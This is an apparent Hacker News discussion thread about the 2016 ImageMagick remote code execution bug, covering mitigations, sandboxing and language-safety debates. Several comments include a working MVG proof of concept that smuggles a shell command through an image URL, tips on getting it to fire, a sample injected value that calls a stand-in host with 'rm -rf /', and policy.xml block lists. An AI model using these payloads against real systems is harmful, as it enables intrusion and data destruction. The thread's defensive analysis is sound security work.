Remote code execution vulnerability in ImageMagick

by nthitz • 10 years ago

478 230 10 years ago

People might be surprised how commonly used ImageMagick is. This could have a real world impact on a number of projects and services.

cm34• 10 years ago

I've been using GraphicsMagick for a while now. Is that also affected or is it just waiting to be checked for the same bugs?

alexkavon• 10 years ago

+1 to this. I use GraphicsMagick too and it would be great to know.

cm34• 10 years ago

I believe Pinterest or that site where you can sell your knitted socks did as well, don't remember.

caseyf2• 10 years ago

No idea, but I'd assume yes for the time being.

The Graphicsmagick code base includes 3 of the 5 coders that are mentioned (URL, MVG and MSL). 2 of those use LibXML and url.c suspiciously uses LibXML's nanoftp and nanohttp.

xDranik• 10 years ago

Any idea how to disable those coders with GraphicsMagick? ImageMagick supports a policy file to disable coders (mentioned here https://imagetragick.com/). Would need to do the same for GraphicsMagick

adrianmacneil• 10 years ago

General consensus so far seems to be that GraphicsMagick is unaffected by this vulnerability.

If security is really important to you though, you should move image processing to separate isolated servers anyway, and verify magic bytes as described by this site.

caseyf2• 10 years ago

Quick update: None of the 5 PoCs that were published work on GraphicsMagick for me.

I was checking magic numbers before sending files to GraphicsMagick but I'm going to go through my code again and make sure that this is always happening.

atilimcetin• 10 years ago

delegates.mgk.in file of GraphicsMagick contains this comment:

  Under Unix, all text (non-numeric) substitutions should be
  surrounded with double quotes for the purpose of security, and
  because any double quotes occuring within the substituted text will
  be escaped using a backslash.

  Commands (excluding file names) containing one or more of the
  special characters ";&|><" (requiring that multiple processes be
  executed) are executed via the Unix shell with text substitutions
  carefully excaped to avoid possible compromise.  Otherwise, commands
  are executed directly without use of the Unix shell.

I assume GraphicsMagick doesn't suffer from this vulnerability.

tyingq3• 10 years ago

Perhaps not the unescaped shell characters, but that's not the only hole that was found.

nthitz• 10 years ago

No PoC, but ImageMagick commit history might lead to some clues https://github.com/ImageMagick/ImageMagick/commits/master

edit: PoC here https://news.ycombinator.com/item?id=11624056 though I haven't ran it myself.

kiallmacinnes2• 10 years ago

Wow, they seem to have terrible commit message practice. The latest commit has a message of "...", and many others only have a bug number (which leads to an annoying usability issue on the github UI - I click the title to get to the commit - which now links to a GitHub issue).

[EDIT: Actually, 8 of the commits top of tree as of writing are "...". wow.]

On top of that, "Second effort to sanitize input string" at [1] appears related to this issue, and doesn't have a single test change, even on the second attempt!

[1] https://github.com/ImageMagick/ImageMagick/commit/a347456a1e...

derefr• 10 years ago

Could this just be due to merges that don't squash commits?

chippy2• 10 years ago

Don't they use SVN? http://www.imagemagick.org/script/subversion.php

Maybe github is just a mirror

(edits - nope, looks like they changed recently. perhaps it's a reflection of developers moving from svn to git)

askyourmother3• 10 years ago

So, we get it. Complicated file and network formats, handled in C code leads to these types of security issues.

We are told that Rust will save us. Glib answer - if it was going to, it already would have (and this is from someone already writing Rust code).

I hope it will lead to a change on two fronts:

1. Simpler formats for file representation and data interchange. When someone tries to add an extra bitfield option, say no. When they keep trying, get a wooden stick with "no" written on it. Part of the disease of modern computing is bloated specs.

2. Restrictive not permissive code bases. Exit and bail out early. Tell the user "file corrupted". Push back.

amluto3• 10 years ago

So, we get it. Complicated file and network formats, handled in C code leads to these types of security issues.

Actually, the magic byte thing makes me think this is a content sniffing issue, and the RCE might be due to a "feature". Rust won't help or, at best, would make it more awkward to exploit.

A capability-based (i.e. memory-safe, no accessible globals that can induce side effects) system would mitigate this, though. If I call out to ImageMagick and say "rescale this image", ImageMagick should not be able to initiate network requests in response.

gamache• 10 years ago

A capability-based (i.e. memory-safe, no accessible globals that can induce side effects) system would mitigate this, though.

Check out OpenBSD's pledge, it's addressing precisely this problem.

http://man.openbsd.org/OpenBSD-current/man2/pledge.2

dozzie5• 10 years ago

If I call out to ImageMagick and say "rescale this image", ImageMagick should not be able to initiate network requests in response.

Impossible in the world where programmers routinely cram together networking and file transformations without any regard for whether the operation belongs there or not (build systems that on `compile' command download random things from internets; even Rust's build system does such a dumb thing by downloading rustc after running an hour-long LLVM compilation, instead of failing before doing anything).

catnaroek13• 10 years ago

So the way to prevent robots from throwing people of a cliff is to use a capability system that only allows robots to kill people when explicit authorized?

quanticle• 10 years ago

Regarding point 2, I think we need to consider Postel's Law a design antipattern, rather than a hallmark of good design. From now on, good software should not be permissive in what it accepts, because there is no good way to guarantee that such permissiveness will not lead to security breaches down the line.

eudox2• 10 years ago

Additionally, being conservative in what you accept forces people to be conservative in what they emit upstream. Win-win!

GrumpyYoungMan• 10 years ago

I would disagree with that greatly. Postel's law says there's no need to excessively constrain what's considered valid input, not to ignore basic bounds checking and security.

Not following Postel's law would result in brittle system components that break when other parts of the system evolve.

saidajigumi2• 10 years ago

Counterpoint: Literally the only thing that allows forward compatibility on the web is permissiveness. When a browser sees something like this in CSS,

    .foo {
      someprop: boring-old-value;
      someprop: awesome-new-value;
    }

instead of old browsers that don't understand just throwing a fit and dying, they ignore stuff they don't understand and carry on. So we know that a browser which doesn't implement 'someprop: awesome-new-value' will go ahead and read 'someprop: boring-old-value' instead of stopping processing of the CSS, or worse, emitting an error and refusing to render the page altogether. Without this, it would effectively be impossible to ship new web features until old browsers had died off to <epsilon-of-users-we-don't-care-about>.

jfaucett• 10 years ago

from googling and looking at the source this looks like it has nothing to do with c, its more of a logic error where a handler delegates control to another process, curl for example, based on image type. I could be wrong but thats what it looks like to me.

m0th87• 10 years ago

I've been writing Rust too, but I'm not why the argument that it'll reduce the attack surface is glib. It can't prevent all security holes, though, because nothing can.

marssaxman4• 10 years ago

The solution I've been experimenting with is to run this sort of code in an isolated, network-stack-free unikernel environment.

Imagine that you've built the ImageMagick library into a unikernel server using a virtio serial port for I/O. When you need to process an image, you boot a VM with this imagemagick kernel, then pipe the image data through its virtual serial port. Data goes in, data comes out...

And if the attacker manages remote code execution inside the VM, who cares? There's nothing in there. There's no network stack, there's no access to storage, there's no access to other processes; all you give this VM is the RAM and serial port the unikernel needs to do its job.

stormbrew2• 10 years ago

Or... you could just run it as nobody and maybe unshare its network and chroot it and not add the surface area of some virtio driver to your stack?

Like, there's no magic to a unikernel. It's just a process in a jail, unless you're legitimately running it directly on the cpu. Adding more layers of abstraction does not inherently add security.

ploxiln• 10 years ago

"seccomp()" (old simple mode) does pretty much this but much more simply and efficiently - disallows all system calls except read() and write() to existing file descriptors, and exit() and sigreturn().

https://en.wikipedia.org/wiki/Seccomp

_0w8t• 10 years ago

With containers I already get such security. For example, I can run ImageMagic binaries inside a container with no network, no capabilities and minimal syscall interface. The attack surface of such setup is not particularly larger than hypervisor interface but performance is much closer to that of native executable.

KirinDave• 10 years ago

If you can generate arbitrary content downstream, you can use this as a stage to a larger multi-stage attack.

And that assumes your unikernel environment has no subtle tricks to escape the jail.

pcwalton3• 10 years ago

1. Simpler formats for file representation and data interchange. When someone tries to add an extra bitfield option, say no. When they keep trying, get a wooden stick with "no" written on it. Part of the disease of modern computing is bloated specs.

How is creating new image formats and getting the entire Web to adopt them easier than making more secure image decoders?

It's especially irrelevant to this series of vulnerabilities, since they work by getting ImageMagick to parse less popular image formats. Inventing new ones won't do anything to mitigate these flaws.

if it was going to, it already would have (and this is from someone already writing Rust code).

I don't understand what this is trying to imply.

askyourmother3• 10 years ago

The 'Magick' in this case is less welcome when your system is pwned. Maybe less magic formats and tools will have, I don't know, less vectors for compromise.

We had better options before and after C, yet here we are. Not to piss on Rust's parade, but it may prove not to be the white knight of code hoped for. And I like Rust - I am probably just less emotionally clouded in my view point.

matthewmacleod• 10 years ago

I agree to the extent that "Rust will save us" is a glib answer, but dismissing it completely is equally silly – safe-by-default is an excellent tool to help prevent many of the common sort of vulnerabilities we see in C code.

I don't really agree with the rest. "Simple file formats" is a theoretically nice idea which is impractical – after all, features are added to file formats for a reason. "Restrictive not permissive" is, as others have pointed out, a divergence from the generally useful Postel's law. Writing a library which cannot handle common problems in file formats – of which there are a huge number, due to sloppy implementation – is a good way to ensure you have developed a library which will be used by few.

xrange• 10 years ago

I agree to the extent that "Rust will save us" is a glib answer, but dismissing it completely is equally silly – safe-by-default is an excellent tool to help prevent many of the common sort of vulnerabilities we see in C code.

There have been all sorts of safe languages that are appropriate for image processing and other types of programs, but people apparently like programming in C more than they like secure software. It is hard to see how something like Common-Lisp/Ocaml/Haskell/Java/Eiffel/C#/Ada wouldn't be more than up to the task, with only a slight speed penalty. It seems more like a social issue than a technical one. Maybe Rust will finally be able to break through, but I wouldn't hold your breath.

0x03• 10 years ago

Is it C's fault here though?

Is it not just improper shell escaping? You could do that incorrectly in any language. If you're not quoting | and ` and stuff correctly when you call system() you're doomed no matter the language.

JdeBP3• 10 years ago

qmail has already been pointed to elsewhere in this discussion. One of the qmail security principles, which are fast approaching 20 years old, is the maxim: Don't parse. This is directly applicable here.

* http://cr.yp.to/qmail/guarantee.html

* http://cr.yp.to/qmail/qmailsec-20071101.pdf

The GNKSOA-MUA comes to mind, too. The other vulnerabilities (there being five -- see the mailing list message) are related to the idea of allowing input data files to contain embedded actions and commands to be executed by the data processing tool. In the world of mail there were many variations on this theme. Clifton T. Sharp Jr's Usenet signature was "Here, Outlook Express, run this program." "Okay, stranger.".

* http://homepage.ntlworld.com./jonathan.deboynepollard/Propos...

pjc50• 10 years ago

If you don't like bitfields, you'd better stay away from H264/5.

wbond• 10 years ago

Hopefully it will convince developers to not trust the client and actually confirm the user uploaded a .jpg, .png or .gif. But I guess that isn’t nearly as useful for us when we want a reason why we need to rewrite everything. :)

jrochkind1• 10 years ago

You know what a lot of people do to confirm the user actually uploaded a jpg, png, or gif?

Use ImageMagick. http://www.imagemagick.org/script/identify.php

chubot3• 10 years ago

I think before #1, #2, or Rust, we need a better "libsandbox". You don't even need containers to do this -- DJB showed how to do this with Unix over a decade ago [1]. See section 5.2: isolating single source transformations.

I think the reason people don't do this is because it's extremely platform-specific. Most of this C code runs on Windows too (ImageMagick, ffmpeg, etc.)

And it's complicated. But if there were a nice library to do all this stuff, I think people would use it.

If you're just shelling out to command line tools like ImageMagick, you don't even have to change any C code... you can just run it under a wrapper (sorta like systemd-nspawn). But I think most people are not using ImageMagick that way -- they are using a Python/Ruby binding, etc.

But it can still be done -- it just takes a little effort. MUCH less effort than changing any of that old crufty code, much less rewriting it in Rust!

[1] Some thoughts on security after 10 years of qmail -- https://scholar.google.com/scholar?cluster=98145703154405707...

dozzie5• 10 years ago

DJB maybe is a prominent cryptographer, but his code and security practices, especially around Qmail, are simply atrocious. I wouldn't quote him for anything that touches real C code.

lmm3• 10 years ago

This kind of problem is inherent to the Unix model of processes communicating by passing byte streams around. The way to solve it properly would be to make the process command interface something more structured (e.g. thrift/protobuf), so that rather than shelling out to wget --whatever and hoping you've escaped it correctly you'd pass an actually structured command.

catnaroek13• 10 years ago

Sandboxes aren't the solution. Correctly designed and implemented programs and file formats are.

sedachv3• 10 years ago

1. Simpler formats for file representation and data interchange. When someone tries to add an extra bitfield option, say no. When they keep trying, get a wooden stick with "no" written on it. Part of the disease of modern computing is bloated specs.
2. Restrictive not permissive code bases. Exit and bail out early. Tell the user "file corrupted". Push back.

The best talk on computer security I have seen is Meredith Patterson's Science of Insecurity at 28c3: https://www.youtube.com/watch?v=3kEfedtQVOY

It is really interesting that the techniques needed to achieve these security goals (theory of grammars) is one of the oldest and best explored areas of computer science.

jlg23• 10 years ago

1. is not applicable even in mid-term, unless you want to break the internet

2. is breaking the internet

I'm not sure I'm ready to accept the collateral damage of your solutions.

How about looking at "C" (or any other language with direct memory access) as the culprit? (EDIT: Assuming it's a C-issue after all and not just some dumb input validation problem.)

serge2k• 10 years ago

That's a pretty ridiculous answer considering the volume of C code and rust being a new language.

ashitlerferad7• 10 years ago

Shell metacharacter and option injection vulnerabilities exist in almost every language, not just C:

http://bonedaddy.net/pabs3/log/2014/02/17/pid-preservation-s... http://www.defensecode.com/public/DefenseCode_Unix_WildCards...

ArtDev• 10 years ago

Oh, this is scary. Drupal and Wordpress rely on Imagemagik. The amounts to a huge amount of the internet as a whole.

unlinker3• 10 years ago

What doesn't? Imagemagick, for me, is the one stop shop for all kind of image filters, resizing, recoding, etc

jandrese• 10 years ago

It's weird. I had to do commandline image manipulation in big batches several years ago. There were two options, netpbm and ImageMagick. I ended up using netpbm (and it's still my preferred solution) after ImageMagick proved to be buggy and much much slower. It always surprised me that people flocked to ImageMagick after that.

I'm completely unsurprised about these bugs given the number of serious problems I ran into. Granted, that was something like 17 years ago, but these veteran projects have a tendency to hang around on life support for decades. Projects that are huge messes don't generally get cleaned up without massive outside pressure (see: openssl).

Glyptodon• 10 years ago

I've used GM more. For whatever reason I've had quite a few weird problems and performance issues with IM. (It's been quite a while, though.)

eugeneionesco• 10 years ago

Not true, both use the GD library.

geerlingguy• 10 years ago

To expand on this; they both use GD by default, as it's the most widely-installed library with PHP extensions available out of the box.

But both have plugins/modules that you can use to switch the library to ImageMagick very easily, and some plugins/modules would require ImageMagick for specific functionality.

rmccue• 10 years ago

WordPress uses ImageMagick if available, or falls back to GD (so technically GD is the minimum requirement). This does affect WP.

ZoF• 10 years ago

Yeah a huge number of frameworks do, as well as handcoded php sites.

I work at a hosting company, really hoping this PoC is more complex than is implied in the post. So few people actually patch/update their boxes with any degree of regularity.

plaguuuuuu• 10 years ago

I wonder what Imgur uses

dredmorbius• 10 years ago

I'm aware of a (now defunct) social networking site that used this for creating various image thumbnails and previews. Wouldn't surprise me that there are others.

Yuioup• 10 years ago

First Heartbleed, then Badlock and now ImageTragick. Are bugs getting their own domains now?

jalami• 10 years ago

I thought the same thing. You can't sensationalize hacking in the news though without a catchy name. I see them as eventual NerdCore band names. Don't forget Shellshock.

acbabis• 10 years ago

The sad thing is, I would probably buy a Heartbleed CD

golergka• 10 years ago

Whatever helps awareness. May be it even gives a hint to people outside of tech about how bad things in security really are.

Buge• 10 years ago

https://weakdh.org/

http://breachattack.com/ (an attack against https, ironically not even bothering to serve over https)

https://freakattack.com/

https://factorable.net/

http://badlock.org/

https://drownattack.com/

https://poodle.io/

http://backronym.fail/

https://gotofail.com/

astrodust3• 10 years ago

It's almost like we need a site that indexes them.

mwfunk• 10 years ago

Not just their own domains, but in this case its own logo and Twitter account. Seems really bizarre to me, I don't get it.

msbarnett• 10 years ago

You really don't get why the web is better off if serious bugs are given memorable, human parse-able branding that helps facilitate press coverage and raise awareness among stakeholders, rather than hiding flaws behind opaque identifiers like CVE-117293 that only a handful of people will know enough about to look into?

rl3• 10 years ago

At this rate it seems to be leading towards a new comedy subgenre, so I'm happy with it.

reidrac• 10 years ago

I hate this "branding of security issues" trend, I don't think it adds anything at all to the security process; but there you are.

chippy2• 10 years ago

Shouldn't there also be the HTTP coder included also? <policy domain="coder" rights="none" pattern="HTTP" />

Also - would an example of using a HTTPS coder be:

convert https://example.com/rose.jpg ~/rose.png

lobbybobby• 10 years ago

PoC: save as file.mvg and then run convert file.mvg o.png

viewbox 0 0 1 1 image over 0,0 0,0 'https://test/" && touch /tmp/hacked && echo "1'

dpritchett2• 10 years ago

This is what I get on an unpatched staging server. Not sure it did anything...

    $ sudo convert file.mvg o.png
    convert.im6: delegate failed `"curl" -s -k -o "%o" "https:%M"' @ error/delegate.c/InvokeDelegate/1065.
    convert.im6: unable to open image `/tmp/magick-Yjc5q9f1': No such file or directory @ > error/blob.c/OpenBlob/2638.
    convert.im6: unable to open file `/tmp/magick-Yjc5q9f1': No such file or directory @ error/constitute.c/ReadImage/583.

benmmurphy• 10 years ago

if https://test can't be opened by curl then the rest of the commands will fail because they are chained by &&. if you change the first && to || then it will work.

0x03• 10 years ago

Works for me (with a slight bugfix to the .mvg) :O

The policy.xml workaround mentioned here seems to stop it https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-3714

mathias• 10 years ago

Replace `test` with `example.com` et voila.

lucraft• 10 years ago

You can trigger the code execution by just using "less" on the mvg file, as it uses ImageMagick if it's installed :)

Illniyar• 10 years ago

I love that security vulenarabilities have names now. I think it's great for awareness.

But when you have magic in the software's name you could do better then ImageTragic.

... though none come to me right now

roywiggins• 10 years ago

My Little Pwnie: System() is Magick

Magick: The Pwning

orf2• 10 years ago

So judging by this commit[1] and this line[2] I reckon you could somehow escape the "wget" command (assuming that's what it invokes here[3]). The following characters were removed in the commit: ' ', '"', "'", '`', '<', '\\', '>'.

If so then it's not complicated file formats or buffer overflows, it's an improperly escaped 'system' call being fed user input in an obscure feature that probably shouldn't have been included in the first place. Party like it's 1999 guys.

Edit: I'm pretty sure this is an RCE issue. This function[4] replaces the placeholders in the wget command, which is this: `wget -q -O "%o" "https:%M"`

So seeing as %M is user controlled we can feed it a URL like "//hacker.com/`rm -rf /`" and it will blindly pass it to the shell. Wow.

1. https://github.com/ImageMagick/ImageMagick/commit/a347456a1e...

2. https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44...

3. https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44...

4. https://github.com/ImageMagick/ImageMagick/blob/32bdefdc31f1...

x0x0• 10 years ago

wait, why wouldn't you want your image processing library to have the ability to run random processes / shell commands? Oof.

In the meantime, maybe a DONT_RUN_COMMANDS ifdef around every call to fork/system/exec is merited...

__david__• 10 years ago

fork() and exec() are fine. As long as you aren't running arbitrary binaries, it's pretty hard to mess up (as far as RCE goes). system(), however, is a RCE foot-cannon just waiting to happen. Don't ever use system() unless every argument is static. And even then think long and hard.

moloch• 10 years ago

`` can invoke subshells

orf2• 10 years ago

Thar she blows. I've updated my comment, seems like that's the RCE.

zerocrates6• 10 years ago

That's where I'm a little confused. Some of the changes (like the ones you've called out here) look pretty clearly like they're designed to counteract maliciously-constructed filenames, but the PR-type page talks instead about testing magic numbers as the way to avoid the issue.

This one [1] seems to deal with ImageMagick's feature that reads the contents of a file into the command line: "The special character '@' at the start of a filename, means replace the filename, with contents of the given file. That is you can read a file containing a list of files!" Again though, that's a filename-based problem, not something you'd use magic number checking to defend against.

Edit: I guess with the "@filename"-based one, you could defend on the basis that the payload will be a text file of filenames, but that seems rickety at best.

1: https://github.com/ImageMagick/ImageMagick/commit/58a2ce1638...

foone• 10 years ago

I think they mean use the magic numbers so you can limit to common file formats like jpeg/png/gif/bmp/tiff/etc instead of just dumping everything to imagemagick, which has the side effect of allowing "weirder" things like MVG/MSL which are imagemagick-specific macro languages which let you do things like wget a remote URL.

peterwwillis2• 10 years ago

I'm sure there's buffer overflows in ImageMagick - probably lots of them - but yeah, you definitely don't need them. ImageMagick has been so buggy for so long, i'm pretty sure an accidentally corrupted image of a kitten sitting on a dog's head would gain root, dump your database and mail it to full-disclosure.

RachelF• 10 years ago

Perhaps a silly question, but if address space layout randomization (ASLR) is enabled, should it no protect against buffer overflows?

alkonaut5• 10 years ago

Explain to me like I'm 5 years old: why is an Image utility invoking shell code and other applications?

Shouldn't this type of utility rather be a library if it's to be used from other applications such as web apps?

astrodust3• 10 years ago

It's both a library and a series of command-line tools.

ryangittins2• 10 years ago

It's really a command-line tool at its heart. The library is essentially just a wrapper around this command-line tool.

You could feasibly do the same stuff in an interpreted language, but (I suspect) it would be substantially slower than directly running those compiled command-line tools underlying it.

zerocrates6• 10 years ago

ImageMagick shells out to "delegates" to convert to/from many of the formats it supports: reading in a PDF results in a call to "gs", reading in a .docx results in a call to "soffice --headless", etc.

As for the wisdom of this approach...

tripzilch• 10 years ago

Because we can never just let documents simply be documents.

ashitlerferad7• 10 years ago

ImageMagick shouldn't have been using /bin/sh or system() in the first place. Instead it should use fork+exec or libpipeline.

http://bonedaddy.net/pabs3/log/2014/02/17/pid-preservation-s... http://libpipeline.nongnu.org/

I expect there may also be option injection vulnerabilities in the code.

http://www.defensecode.com/public/DefenseCode_Unix_WildCards...

ntauthority• 10 years ago

Both don't exist on non-POSIX systems, like NT. ImageMagick supports those natively, however.

dalias• 10 years ago

There is no excuse for shell escaping bugs like this. 100% safe and reliable shell escaping is trivial:

s/'/'\''/g

s/^/'/

s/$/'/

nitrogen2• 10 years ago

Can you provide a demonstration for why this is adequate? It seems like it might still possible to get single quotes in the input to be interpreted by the shell by putting a backslash in the input.

trumpy123• 10 years ago

http://nowere.net/b/res/127615.html#i129473 This russian forum may contain some clues.

whizzkid2• 10 years ago

Apparently Paperclip library already covered this long before this vulnerability is published.

https://github.com/thoughtbot/paperclip/issues/2190#issuecom...

tyingq3• 10 years ago

Well, they check the filetype. I wouldn't be so certain that covers all the bases. Read this: http://www.openwall.com/lists/oss-security/2016/05/03/18

whizzkid2• 10 years ago

Of course I would like to see specific tests that covers everything about this vulnerability. I see now that there are more problems than the one mentioned in the article.

But the link submitted to hackernews specifically mentioned "magic bytes" which is the file type problem. I think Paperclip is not affected on that one.

rmdoss2• 10 years ago

Hard problem now: Find all places where ImageMagick is being used and no one knows about.

crb0022• 10 years ago

That's easy. Replacing all the hoards of other handwritten input parsers with formal parsers is the task at hand.

The new bounty will be for proofs of input parser correctness, not exploits.

kodfodrasz• 10 years ago

Given pain to set up ImageMagick it probably cannot go unnoticed anywhere. Tried to use that crap as a library not so lately, but it gave me brain cancer. I sticked to libgd finally, as that is a library, no setup to /bin, /etc, or on Windows to C:\Progra~1, and the library entry points of GD don't look as if designed by an oh-so-funny idiot on the spectrum.

http://www.imagemagick.org/script/magick-wand.php

MagickWandGenesis(); contrast_wand=NewMagickWand(); status=MagickReadImage(contrast_wand,argv[1]);

Tell me please, that this is a sane API, but then please provide me your github account as well, just to know what to avoid at all costs in the future

Edit: USE LIBGD: http://libgd.github.io/ it has friendly API, suggesting sane developers, and the API is easy to use from wrappers (I used with P/Invoke interop from C# without any hickups). It looks to me that it was designed in a way to be easily usable that way, which suggests design, not just growing code like cancer.

yanowitz• 10 years ago

For Heroku, which has a read-only filesystem for /etc, we did this: https://gist.github.com/yanowitz/8329d8b27d8294ca7027f504326...

steveeq12• 10 years ago

It seems that heroku already took care of this security problem for us. This is a copy-and-paste of a comment that was left on the github page:

seems to be the default on heroku already:

  Path: /etc/ImageMagick/policy.xml  
    Policy: Coder  
      rights: None  
      pattern: EPHEMERAL  
    Policy: Coder  
      rights: None  
      pattern: URL  
    Policy: Coder  
      rights: None  
      pattern: HTTPS  
    Policy: Coder  
      rights: None  
      pattern: MVG  
    Policy: Coder  
      rights: None  
      pattern: MSL

evolve2k• 10 years ago

Am I right then in assuming then that for apps deployed on heroku that this specific reported issue is not a problem?

crb0022• 10 years ago

Rule of the day. Ad hock parsers are the #1 infosec issue. AFL is the Killer Rabbit. The only defense is writing formal parsers on all inputs.

SFJulie• 10 years ago

Most images file format are insane. And people expect to convert insane document format to images, too.

Well. What did you expected?

fidz• 10 years ago

I wonder why we are "trademarking" security issue since Heartbleed?

netheril96• 10 years ago

Otherwise no one cares.

shthed• 10 years ago

Easier to remember and talk about, I'm not going to remember CVE-2016–3714 but ImageTragick is catchy.

wim• 10 years ago

Also make sure you don't use it for any image formats that are processed by logic with the complexity of a small command-line interpreter. You'll risk a lot of XXE vulns with formats like SVG or MVG. To see some examples of said logic, have a look at 'convert -list delegate', for example.

bru• 10 years ago

Full story by one of the 2 finders on the oss-security@openwall mailing list: http://www.openwall.com/lists/oss-security/2016/05/03/18

tyingq3• 10 years ago

Would recommend reading the mailing list entry above...it has much more detail than the imagetragick.com site. The "unescaped shell characters" is only one of many issues.

dorfsmay• 10 years ago

I wonder if the same issue exist in GraphicsMagick.

Also, I am surprised how few people have switched from ImageMagick to graphocksMagic, given that the fork happened back in 2002 and that it offers significant improvements.

http://www.graphicsmagick.org/

Danack• 10 years ago

"it offers significant improvements." - citation needed.

It was better for a period after the fork, but the only guy working on it hasn't maintained it that well...there's a significant number of bugs in GraphicsMagick that have been there for years.

Anthony-G• 10 years ago

I've always chosen GraphicsMagick over ImageMagick because it has far fewer dependencies on other packages and it provides the features I want.

rmdoss2• 10 years ago

Details here: http://www.openwall.com/lists/oss-security/2016/05/03/18

zerocrates6• 10 years ago

The particularly interesting piece to me is the SVG exploit. ImageMagick apparently will try to load xlink'd images referenced from within the SVG and hit the same problem as in the MVG example.

No skin off anybody's nose if they have to block MVGs, but SVG could be somewhat of a loss.

rbut3• 10 years ago

We are currently facing the issue of not being able to use MSVG (ImageMagick's internal SVG renderer). We use it to work around issues with RSVG.

If anyone has a solution for disabling xlink'd images but retaining the rest of MSVG functionality, we'd be all ears.

rbut3• 10 years ago

Has anyone determined if Python Wand is affected also? http://wand-py.org

Edit: Or any other libmagickwand based project for that matter.

jhealy2• 10 years ago

For our use case, the only input formats we need to support are GIF, JPG and PNG.

Using policy.xml to disable EPHEMERAL, URL, HTTPS, MVG and MSL is a nice start, but is it also possible to disable PDF, open office, FTP and others? Where would I find a list of all the supported coders?

philsnow• 10 years ago

I'm on my phone at the moment but try looking in the files named by the output of "dpkg -L imagemagick-common". There's a bunch of xml files and one of them specifies how all the other commands are invoked, IIRC.

jhealy2• 10 years ago

The delegates.xml file looks interesting, and `convert -list delegate` lists a large number of formats that we don't need to support.

I'm not clear on the difference between a "coder" and a "delegate". Do I need to add a policy.xml entry to for each delegate?

nodesocket• 10 years ago

Does anybody have a library (prefer JavaScript) for inspecting files and extracting the file type using "magic bytes"[1]. Seems like most people probably blindly use mime-type, which appears to be incorrect and insecure.

[1] https://en.wikipedia.org/wiki/List_of_file_signatures

steveax• 10 years ago

https://github.com/sindresorhus/file-type

djadmin• 10 years ago

WordPress's Imagick Image Editor would be a problem?

nerdy• 10 years ago

Exploit samples: http://www.theregister.co.uk/2016/05/04/imagemagick_exploits...

jackcosgrove• 10 years ago

Would using a libmagic based tool to detect the magic bytes and content type be a valid mitigation strategy? The Node library mmmagic (https://github.com/mscdex/mmmagic) already does this.

sucuri2• 10 years ago

We posted some more details here:

https://blog.sucuri.net/2016/05/imagemagick-remote-command-e...

Remote code execution vulnerability in ImageMagick

Related Stories